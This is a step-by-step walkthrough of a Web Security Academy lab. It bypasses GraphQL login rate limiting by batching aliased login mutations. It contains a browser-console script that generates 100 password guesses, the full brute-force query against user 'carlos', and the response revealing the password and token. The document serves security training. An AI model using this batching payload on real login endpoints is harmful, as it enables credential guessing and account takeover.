Lab: Bypassing GraphQL brute force protections

After starting the exercise, you should see the following blog.

As the exercises in the Web Security Academy are always newly generated, you might see a different post than the one in the picture. We click on the link My account and try to log in with any user data. In the example we use the user name administrator and the password 123456.

The registration form is as follows.

When we submit the form, we receive the message "Invalid username or password.". As expected, we do not have access to the account. Now we open the Burp Proxy and there the HTTP history tab. Here we see the request POST /graphql/v1, this request receives a GraphQL mutation with the user data we just entered.

We now send this request to the Burp Repeater. To do this, we move the mouse over the request and press the right mouse button. In the context menu, we select the Send to Repeater option.

In the Burp Repeater, we now send this request to the application a few more times. After a few attempts, we receive the message "You have made too many incorrect login attempts. Please try again in 1 minute(s).". We have reached a predefined number of login attempts and now have to wait one minute before we can try again. We now open the GraphQL tab in the Burp Repeater.

In the GraphQL tab, we now create a query that uses aliases to send multiple login mutations in one message. In the tip in this exercise, you will find a method that makes this process less time-consuming. The method is in the following code section.

copy(`123456,password,12345678,qwerty,123456789,12345,1234,111111,1234567,dragon,123123,baseball,abc123,football,monkey,letmein,shadow,master,666666,qwertyuiop,123321,mustang,1234567890,michael,654321,superman,1qaz2wsx,7777777,121212,000000,qazwsx,123qwe,killer,trustno1,jordan,jennifer,zxcvbnm,asdfgh,hunter,buster,soccer,harley,batman,andrew,tigger,sunshine,iloveyou,2000,charlie,robert,thomas,hockey,ranger,daniel,starwars,klaster,112233,george,computer,michelle,jessica,pepper,1111,zxcvbn,555555,11111111,131313,freedom,777777,pass,maggie,159753,aaaaaa,ginger,princess,joshua,cheese,amanda,summer,love,ashley,nicole,chelsea,biteme,matthew,access,yankees,987654321,dallas,austin,thunder,taylor,matrix,mobilemail,mom,monitor,monitoring,montana,moon,moscow`.split(',').map((element,index)=>` bruteforce$index:login(input:{password: "$password", username: "carlos"}) { token success } `.replaceAll('$index',index).replaceAll('$password',element)).join('\n'));console.log("The query has been copied to your clipboard.");

To use this code snippet, let's switch to the browser we are using for this exercise. I am using the Built-In Browser from Burp. We move the mouse over the website and press the right mouse button. In the context menu, we select Inspect. As my native language is German, my context menu is in German.

The Web Developer Tools should now open in the browser. Depending on which browser you are using, the tools may look different. Basically, however, they should be the same.

In the Web Developer Tools, we now open the Console tab and insert the code snippet listed above. When pasting, you will be asked, at least in the Chrome browser, whether you really want to paste the code. You must confirm this by entering allow pasting. In the following image you can see the code in the Console tab.

We now confirm the entry by pressing the ENTER key and receive the message "The query has been copied to your clipboard.". We now switch to the Burp Repeater and open the GraphQL tab again. In the Query section, paste the code you just copied under the section mutation login($input: LoginInput!) {login(input: $input) {token success}. The request should look like this.

mutation login($input: LoginInput!) {
        login(input: $input) {
            token
            success
        },
     	bruteforce0:login(input:{password: "123456", username: "carlos"}) { token success } 
			bruteforce1:login(input:{password: "password", username: "carlos"}) { token success } 
			bruteforce2:login(input:{password: "12345678", username: "carlos"}) { token success } 
			bruteforce3:login(input:{password: "qwerty", username: "carlos"}) { token success } 
			bruteforce4:login(input:{password: "123456789", username: "carlos"}) { token success } 
			bruteforce5:login(input:{password: "12345", username: "carlos"}) { token success } 
			bruteforce6:login(input:{password: "1234", username: "carlos"}) { token success } 
			bruteforce7:login(input:{password: "111111", username: "carlos"}) { token success } 
			bruteforce8:login(input:{password: "1234567", username: "carlos"}) { token success } 
			bruteforce9:login(input:{password: "dragon", username: "carlos"}) { token success } 
			bruteforce10:login(input:{password: "123123", username: "carlos"}) { token success } 
			bruteforce11:login(input:{password: "baseball", username: "carlos"}) { token success } 
			bruteforce12:login(input:{password: "abc123", username: "carlos"}) { token success } 
			bruteforce13:login(input:{password: "football", username: "carlos"}) { token success } 
			bruteforce14:login(input:{password: "monkey", username: "carlos"}) { token success } 
			bruteforce15:login(input:{password: "letmein", username: "carlos"}) { token success } 
			bruteforce16:login(input:{password: "shadow", username: "carlos"}) { token success } 
			bruteforce17:login(input:{password: "master", username: "carlos"}) { token success } 
			bruteforce18:login(input:{password: "666666", username: "carlos"}) { token success } 
			bruteforce19:login(input:{password: "qwertyuiop", username: "carlos"}) { token success } 
			bruteforce20:login(input:{password: "123321", username: "carlos"}) { token success } 
			bruteforce21:login(input:{password: "mustang", username: "carlos"}) { token success } 
			bruteforce22:login(input:{password: "1234567890", username: "carlos"}) { token success } 
			bruteforce23:login(input:{password: "michael", username: "carlos"}) { token success } 
			bruteforce24:login(input:{password: "654321", username: "carlos"}) { token success } 
			bruteforce25:login(input:{password: "superman", username: "carlos"}) { token success } 
			bruteforce26:login(input:{password: "1qaz2wsx", username: "carlos"}) { token success } 
			bruteforce27:login(input:{password: "7777777", username: "carlos"}) { token success } 
			bruteforce28:login(input:{password: "121212", username: "carlos"}) { token success } 
			bruteforce29:login(input:{password: "000000", username: "carlos"}) { token success } 
			bruteforce30:login(input:{password: "qazwsx", username: "carlos"}) { token success } 
			bruteforce31:login(input:{password: "123qwe", username: "carlos"}) { token success } 
			bruteforce32:login(input:{password: "killer", username: "carlos"}) { token success } 
			bruteforce33:login(input:{password: "trustno1", username: "carlos"}) { token success } 
			bruteforce34:login(input:{password: "jordan", username: "carlos"}) { token success } 
			bruteforce35:login(input:{password: "jennifer", username: "carlos"}) { token success } 
			bruteforce36:login(input:{password: "zxcvbnm", username: "carlos"}) { token success } 
			bruteforce37:login(input:{password: "asdfgh", username: "carlos"}) { token success } 
			bruteforce38:login(input:{password: "hunter", username: "carlos"}) { token success } 
			bruteforce39:login(input:{password: "buster", username: "carlos"}) { token success } 
			bruteforce40:login(input:{password: "soccer", username: "carlos"}) { token success } 
			bruteforce41:login(input:{password: "harley", username: "carlos"}) { token success } 
			bruteforce42:login(input:{password: "batman", username: "carlos"}) { token success } 
			bruteforce43:login(input:{password: "andrew", username: "carlos"}) { token success } 
			bruteforce44:login(input:{password: "tigger", username: "carlos"}) { token success } 
			bruteforce45:login(input:{password: "sunshine", username: "carlos"}) { token success } 
			bruteforce46:login(input:{password: "iloveyou", username: "carlos"}) { token success } 
			bruteforce47:login(input:{password: "2000", username: "carlos"}) { token success } 
			bruteforce48:login(input:{password: "charlie", username: "carlos"}) { token success } 
			bruteforce49:login(input:{password: "robert", username: "carlos"}) { token success } 
			bruteforce50:login(input:{password: "thomas", username: "carlos"}) { token success } 
			 bruteforce51:login(input:{password: "hockey", username: "carlos"}) { token success } 
			 bruteforce52:login(input:{password: "ranger", username: "carlos"}) { token success } 
			 bruteforce53:login(input:{password: "daniel", username: "carlos"}) { token success } 
			 bruteforce54:login(input:{password: "starwars", username: "carlos"}) { token success } 
			 bruteforce55:login(input:{password: "klaster", username: "carlos"}) { token success } 
			 bruteforce56:login(input:{password: "112233", username: "carlos"}) { token success } 
			 bruteforce57:login(input:{password: "george", username: "carlos"}) { token success } 
			 bruteforce58:login(input:{password: "computer", username: "carlos"}) { token success } 
			 bruteforce59:login(input:{password: "michelle", username: "carlos"}) { token success } 
			 bruteforce60:login(input:{password: "jessica", username: "carlos"}) { token success } 
			 bruteforce61:login(input:{password: "pepper", username: "carlos"}) { token success } 
			 bruteforce62:login(input:{password: "1111", username: "carlos"}) { token success } 
			 bruteforce63:login(input:{password: "zxcvbn", username: "carlos"}) { token success } 
			 bruteforce64:login(input:{password: "555555", username: "carlos"}) { token success } 
			 bruteforce65:login(input:{password: "11111111", username: "carlos"}) { token success } 
			 bruteforce66:login(input:{password: "131313", username: "carlos"}) { token success } 
			 bruteforce67:login(input:{password: "freedom", username: "carlos"}) { token success } 
			 bruteforce68:login(input:{password: "777777", username: "carlos"}) { token success } 
			 bruteforce69:login(input:{password: "pass", username: "carlos"}) { token success } 
			 bruteforce70:login(input:{password: "maggie", username: "carlos"}) { token success } 
			 bruteforce71:login(input:{password: "159753", username: "carlos"}) { token success } 
			 bruteforce72:login(input:{password: "aaaaaa", username: "carlos"}) { token success } 
			 bruteforce73:login(input:{password: "ginger", username: "carlos"}) { token success } 
			 bruteforce74:login(input:{password: "princess", username: "carlos"}) { token success } 
			 bruteforce75:login(input:{password: "joshua", username: "carlos"}) { token success } 
			 bruteforce76:login(input:{password: "cheese", username: "carlos"}) { token success } 
			 bruteforce77:login(input:{password: "amanda", username: "carlos"}) { token success } 
			 bruteforce78:login(input:{password: "summer", username: "carlos"}) { token success } 
			 bruteforce79:login(input:{password: "love", username: "carlos"}) { token success } 
			 bruteforce80:login(input:{password: "ashley", username: "carlos"}) { token success } 
			 bruteforce81:login(input:{password: "nicole", username: "carlos"}) { token success } 
			 bruteforce82:login(input:{password: "chelsea", username: "carlos"}) { token success } 
			 bruteforce83:login(input:{password: "biteme", username: "carlos"}) { token success } 
			 bruteforce84:login(input:{password: "matthew", username: "carlos"}) { token success } 
			 bruteforce85:login(input:{password: "access", username: "carlos"}) { token success } 
			 bruteforce86:login(input:{password: "yankees", username: "carlos"}) { token success } 
			 bruteforce87:login(input:{password: "987654321", username: "carlos"}) { token success } 
			 bruteforce88:login(input:{password: "dallas", username: "carlos"}) { token success } 
			 bruteforce89:login(input:{password: "austin", username: "carlos"}) { token success } 
			 bruteforce90:login(input:{password: "thunder", username: "carlos"}) { token success } 
			 bruteforce91:login(input:{password: "taylor", username: "carlos"}) { token success } 
			 bruteforce92:login(input:{password: "matrix", username: "carlos"}) { token success } 
			 bruteforce93:login(input:{password: "mobilemail", username: "carlos"}) { token success } 
			 bruteforce94:login(input:{password: "mom", username: "carlos"}) { token success } 
			 bruteforce95:login(input:{password: "monitor", username: "carlos"}) { token success } 
			 bruteforce96:login(input:{password: "monitoring", username: "carlos"}) { token success } 
			 bruteforce97:login(input:{password: "montana", username: "carlos"}) { token success } 
			 bruteforce98:login(input:{password: "moon", username: "carlos"}) { token success } 
			 bruteforce99:login(input:{password: "moscow", username: "carlos"}) { token success } 
   
    }

You can also copy the code from the code snippet above. We now click on the Send button and check our response. We can search for the value true and find the section in the response:

"bruteforce24": {
  "token": "ZgrVZ7BcjchKrz7lzhgKMRXajLqDzz70",
  "success": true
}

If we search for the corresponding line in the request, we see the password 654321 for our user Carlos.

bruteforce24:login(input:{password: "654321", username: "carlos"}) { token success }

Now we switch to our browser and log in with carlos and the password 654321 and have thus solved the exercise.

Last updated